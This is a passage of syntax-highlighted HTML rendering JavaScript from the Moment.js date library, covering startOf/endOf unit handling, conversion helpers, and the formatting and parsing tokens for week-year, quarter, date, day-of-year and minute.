class="keyword">case</span> <span class="string">&#x27;week&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>() - <span class="variable language_">this</span>.<span class="title function_">weekday</span>());</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;isoWeek&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>() - (<span class="variable language_">this</span>.<span class="title function_">isoWeekday</span>() - <span class="number">1</span>));</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;day&#x27;</span>:</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;date&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>());</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;hour&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time -= <span class="title function_">mod$1</span>(time + (<span class="variable language_">this</span>.<span class="property">_isUTC</span> ? <span class="number">0</span> : <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() * <span class="variable constant_">MS_PER_MINUTE</span>), <span class="variable constant_">MS_PER_HOUR</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;minute&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time -= <span class="title function_">mod$1</span>(time, <span class="variable constant_">MS_PER_MINUTE</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;second&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time -= <span class="title function_">mod$1</span>(time, <span class="variable constant_">MS_PER_SECOND</span>);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">setTime</span>(time);</span><br><span class="line">        hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>, <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">endOf</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> time;</span><br><span class="line">        units = <span class="title function_">normalizeUnits</span>(units);</span><br><span class="line">        <span class="keyword">if</span> (units === <span class="literal">undefined</span> || units === <span class="string">&#x27;millisecond&#x27;</span> || !<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> startOfDate = <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? utcStartOfDate : localStartOfDate;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">switch</span> (units) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;year&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>() + <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;quarter&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>() - <span class="variable language_">this</span>.<span class="title function_">month</span>() % <span class="number">3</span> + <span class="number">3</span>, <span class="number">1</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;month&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>() + <span class="number">1</span>, <span class="number">1</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;week&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>() - <span class="variable language_">this</span>.<span class="title function_">weekday</span>() + <span class="number">7</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;isoWeek&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>() - (<span class="variable language_">this</span>.<span class="title function_">isoWeekday</span>() - <span class="number">1</span>) + <span class="number">7</span>) -</span><br><span class="line">                    <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;day&#x27;</span>:</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;date&#x27;</span>:</span><br><span class="line">                time = <span class="title function_">startOfDate</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="variable language_">this</span>.<span class="title function_">month</span>(), <span class="variable language_">this</span>.<span class="title function_">date</span>() + <span class="number">1</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;hour&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time += <span class="variable constant_">MS_PER_HOUR</span> - <span class="title function_">mod$1</span>(time + (<span class="variable language_">this</span>.<span class="property">_isUTC</span> ? <span class="number">0</span> : <span class="variable language_">this</span>.<span class="title function_">utcOffset</span>() * <span class="variable constant_">MS_PER_MINUTE</span>),</span><br><span class="line">                    <span class="variable constant_">MS_PER_HOUR</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;minute&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time += <span class="variable constant_">MS_PER_MINUTE</span> - <span class="title function_">mod$1</span>(time, <span class="variable constant_">MS_PER_MINUTE</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&#x27;second&#x27;</span>:</span><br><span class="line">                time = <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>();</span><br><span class="line">                time += <span class="variable constant_">MS_PER_SECOND</span> - <span class="title function_">mod$1</span>(time, <span class="variable constant_">MS_PER_SECOND</span>) - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">setTime</span>(time);</span><br><span class="line">        hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>, <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">valueOf</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_d</span>.<span class="title function_">valueOf</span>() - ((<span class="variable language_">this</span>.<span class="property">_offset</span> || <span class="number">0</span>) * <span class="number">60000</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">unix</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">floor</span>(<span class="variable language_">this</span>.<span class="title function_">valueOf</span>() / <span class="number">1000</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toDate</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="variable language_">this</span>.<span class="title function_">valueOf</span>());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toArray</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> m = <span class="variable language_">this</span>;</span><br><span class="line">        <span class="keyword">return</span> [m.<span class="title function_">year</span>(), m.<span class="title function_">month</span>(), m.<span class="title function_">date</span>(), m.<span class="title function_">hour</span>(), m.<span class="title function_">minute</span>(), m.<span class="title function_">second</span>(), m.<span class="title function_">millisecond</span>()];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toObject</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> m = <span class="variable language_">this</span>;</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="attr">years</span>: m.<span class="title function_">year</span>(),</span><br><span class="line">            <span class="attr">months</span>: m.<span class="title function_">month</span>(),</span><br><span class="line">            <span class="attr">date</span>: m.<span class="title function_">date</span>(),</span><br><span class="line">            <span class="attr">hours</span>: m.<span class="title function_">hours</span>(),</span><br><span class="line">            <span class="attr">minutes</span>: m.<span class="title function_">minutes</span>(),</span><br><span class="line">            <span class="attr">seconds</span>: m.<span class="title function_">seconds</span>(),</span><br><span class="line">            <span class="attr">milliseconds</span>: m.<span class="title function_">milliseconds</span>()</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toJSON</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="comment">// new Date(NaN).toJSON() === null</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isValid</span>() ? <span class="variable language_">this</span>.<span class="title function_">toISOString</span>() : <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isValid$2</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isValid</span>(<span class="variable language_">this</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">parsingFlags</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">extend</span>(&#123;&#125;, <span class="title function_">getParsingFlags</span>(<span class="variable language_">this</span>));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">invalidAt</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">getParsingFlags</span>(<span class="variable language_">this</span>).<span class="property">overflow</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">creationData</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="attr">input</span>: <span class="variable language_">this</span>.<span class="property">_i</span>,</span><br><span class="line">            <span class="attr">format</span>: <span class="variable language_">this</span>.<span class="property">_f</span>,</span><br><span class="line">            <span class="attr">locale</span>: <span class="variable language_">this</span>.<span class="property">_locale</span>,</span><br><span class="line">            <span class="attr">isUTC</span>: <span class="variable language_">this</span>.<span class="property">_isUTC</span>,</span><br><span class="line">            <span class="attr">strict</span>: <span class="variable language_">this</span>.<span class="property">_strict</span></span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;gg&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">weekYear</span>() % <span class="number">100</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;GG&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">isoWeekYear</span>() % <span class="number">100</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addWeekYearFormatToken</span>(<span class="params">token, getter</span>) &#123;</span><br><span class="line">        <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [token, token.<span class="property">length</span>], <span class="number">0</span>, getter);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekYearFormatToken</span>(<span class="string">&#x27;gggg&#x27;</span>, <span class="string">&#x27;weekYear&#x27;</span>);</span><br><span class="line">    <span class="title function_">addWeekYearFormatToken</span>(<span class="string">&#x27;ggggg&#x27;</span>, <span class="string">&#x27;weekYear&#x27;</span>);</span><br><span class="line">    <span class="title function_">addWeekYearFormatToken</span>(<span class="string">&#x27;GGGG&#x27;</span>, <span class="string">&#x27;isoWeekYear&#x27;</span>);</span><br><span class="line">    <span class="title function_">addWeekYearFormatToken</span>(<span class="string">&#x27;GGGGG&#x27;</span>, <span class="string">&#x27;isoWeekYear&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;weekYear&#x27;</span>, <span class="string">&#x27;gg&#x27;</span>);</span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;isoWeekYear&#x27;</span>, <span class="string">&#x27;GG&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;weekYear&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;isoWeekYear&#x27;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;G&#x27;</span>, matchSigned);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;g&#x27;</span>, matchSigned);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;GG&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;gg&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;GGGG&#x27;</span>, match1to4, match4);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;gggg&#x27;</span>, match1to4, match4);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;GGGGG&#x27;</span>, match1to6, match6);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;ggggg&#x27;</span>, match1to6, match6);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekParseToken</span>([<span class="string">&#x27;gggg&#x27;</span>, <span class="string">&#x27;ggggg&#x27;</span>, <span class="string">&#x27;GGGG&#x27;</span>, <span class="string">&#x27;GGGGG&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, week, config, token</span>) &#123;</span><br><span class="line">        week[token.<span class="title function_">substr</span>(<span class="number">0</span>, <span class="number">2</span>)] = <span class="title function_">toInt</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addWeekParseToken</span>([<span class="string">&#x27;gg&#x27;</span>, <span class="string">&#x27;GG&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, week, config, token</span>) &#123;</span><br><span class="line">        week[token] = hooks.<span class="title function_">parseTwoDigitYear</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetWeekYear</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> getSetWeekYearHelper.<span class="title function_">call</span>(<span class="variable language_">this</span>,</span><br><span class="line">            input,</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">week</span>(),</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">weekday</span>(),</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="property">_week</span>.<span class="property">dow</span>,</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="property">_week</span>.<span class="property">doy</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetISOWeekYear</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> getSetWeekYearHelper.<span class="title function_">call</span>(<span class="variable language_">this</span>,</span><br><span class="line">            input, <span class="variable language_">this</span>.<span class="title function_">isoWeek</span>(), <span class="variable language_">this</span>.<span class="title function_">isoWeekday</span>(), <span class="number">1</span>, <span class="number">4</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getISOWeeksInYear</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">weeksInYear</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), <span class="number">1</span>, <span class="number">4</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getWeeksInYear</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weekInfo = <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="property">_week</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">weeksInYear</span>(<span class="variable language_">this</span>.<span class="title function_">year</span>(), weekInfo.<span class="property">dow</span>, weekInfo.<span class="property">doy</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetWeekYearHelper</span>(<span class="params">input, week, weekday, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> weeksTarget;</span><br><span class="line">        <span class="keyword">if</span> (input == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">weekOfYear</span>(<span class="variable language_">this</span>, dow, doy).<span class="property">year</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            weeksTarget = <span class="title function_">weeksInYear</span>(input, dow, doy);</span><br><span class="line">            <span class="keyword">if</span> (week &gt; weeksTarget) &#123;</span><br><span class="line">                week = weeksTarget;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> setWeekAll.<span class="title function_">call</span>(<span class="variable language_">this</span>, input, week, weekday, dow, doy);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setWeekAll</span>(<span class="params">weekYear, week, weekday, dow, doy</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> dayOfYearData = <span class="title function_">dayOfYearFromWeeks</span>(weekYear, week, weekday, dow, doy),</span><br><span class="line">            date = <span class="title function_">createUTCDate</span>(dayOfYearData.<span class="property">year</span>, <span class="number">0</span>, dayOfYearData.<span class="property">dayOfYear</span>);</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">year</span>(date.<span class="title function_">getUTCFullYear</span>());</span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">month</span>(date.<span class="title function_">getUTCMonth</span>());</span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">date</span>(date.<span class="title function_">getUTCDate</span>());</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;Q&#x27;</span>, <span class="number">0</span>, <span class="string">&#x27;Qo&#x27;</span>, <span class="string">&#x27;quarter&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;quarter&#x27;</span>, <span class="string">&#x27;Q&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;quarter&#x27;</span>, <span class="number">7</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Q&#x27;</span>, match1);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;Q&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">MONTH</span>] = (<span class="title function_">toInt</span>(input) - <span class="number">1</span>) * <span class="number">3</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetQuarter</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> input == <span class="literal">null</span> ? <span class="title class_">Math</span>.<span class="title function_">ceil</span>((<span class="variable language_">this</span>.<span class="title function_">month</span>() + <span class="number">1</span>) / <span class="number">3</span>) : <span class="variable language_">this</span>.<span class="title function_">month</span>((input - <span class="number">1</span>) * <span class="number">3</span> + <span class="variable language_">this</span>.<span class="title function_">month</span>() %</span><br><span class="line">            <span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;D&#x27;</span>, [<span class="string">&#x27;DD&#x27;</span>, <span class="number">2</span>], <span class="string">&#x27;Do&#x27;</span>, <span class="string">&#x27;date&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;date&#x27;</span>, <span class="string">&#x27;D&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;date&#x27;</span>, <span class="number">9</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;D&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;DD&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;Do&#x27;</span>, <span class="keyword">function</span> (<span class="params">isStrict, locale</span>) &#123;</span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> Remove &quot;ordinalParse&quot; fallback in next major release.</span></span><br><span class="line">        <span class="keyword">return</span> isStrict ?</span><br><span class="line">            (locale.<span class="property">_dayOfMonthOrdinalParse</span> || locale.<span class="property">_ordinalParse</span>) :</span><br><span class="line">            locale.<span class="property">_dayOfMonthOrdinalParseLenient</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;DD&#x27;</span>], <span class="variable constant_">DATE</span>);</span><br><span class="line">    <span class="title function_">addParseToken</span>(<span class="string">&#x27;Do&#x27;</span>, <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">DATE</span>] = <span class="title function_">toInt</span>(input.<span class="title function_">match</span>(match1to2)[<span class="number">0</span>]);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> getSetDayOfMonth = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;Date&#x27;</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;DDD&#x27;</span>, [<span class="string">&#x27;DDDD&#x27;</span>, <span class="number">3</span>], <span class="string">&#x27;DDDo&#x27;</span>, <span class="string">&#x27;dayOfYear&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;dayOfYear&#x27;</span>, <span class="string">&#x27;DDD&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;dayOfYear&#x27;</span>, <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;DDD&#x27;</span>, match1to3);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;DDDD&#x27;</span>, match3);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;DDD&#x27;</span>, <span class="string">&#x27;DDDD&#x27;</span>], <span class="keyword">function</span> (<span class="params">input, array, config</span>) &#123;</span><br><span class="line">        config.<span class="property">_dayOfYear</span> = <span class="title function_">toInt</span>(input);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// HELPERS</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getSetDayOfYear</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> dayOfYear = <span class="title class_">Math</span>.<span class="title function_">round</span>((<span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">startOf</span>(<span class="string">&#x27;day&#x27;</span>) - <span class="variable language_">this</span>.<span class="title function_">clone</span>().<span class="title function_">startOf</span>(<span class="string">&#x27;year&#x27;</span>)) / <span class="number">864e5</span>) +</span><br><span class="line">            <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">return</span> input == <span class="literal">null</span> ? dayOfYear : <span class="variable language_">this</span>.<span class="title function_">add</span>((input - dayOfYear), <span class="string">&#x27;d&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;m&#x27;</span>, [<span class="string">&#x27;mm&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="string">&#x27;minute&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;minute&#x27;</span>, <span class="string">&#x27;m&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;minute&#x27;</span>, <span class="number">14</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;m&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;mm&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;m&#x27;</span>, <span class="string">&#x27;mm&#x27;</span>], <span class="variable constant_">MINUTE</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> getSetMinute = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;Minutes&#x27;</span>, <span 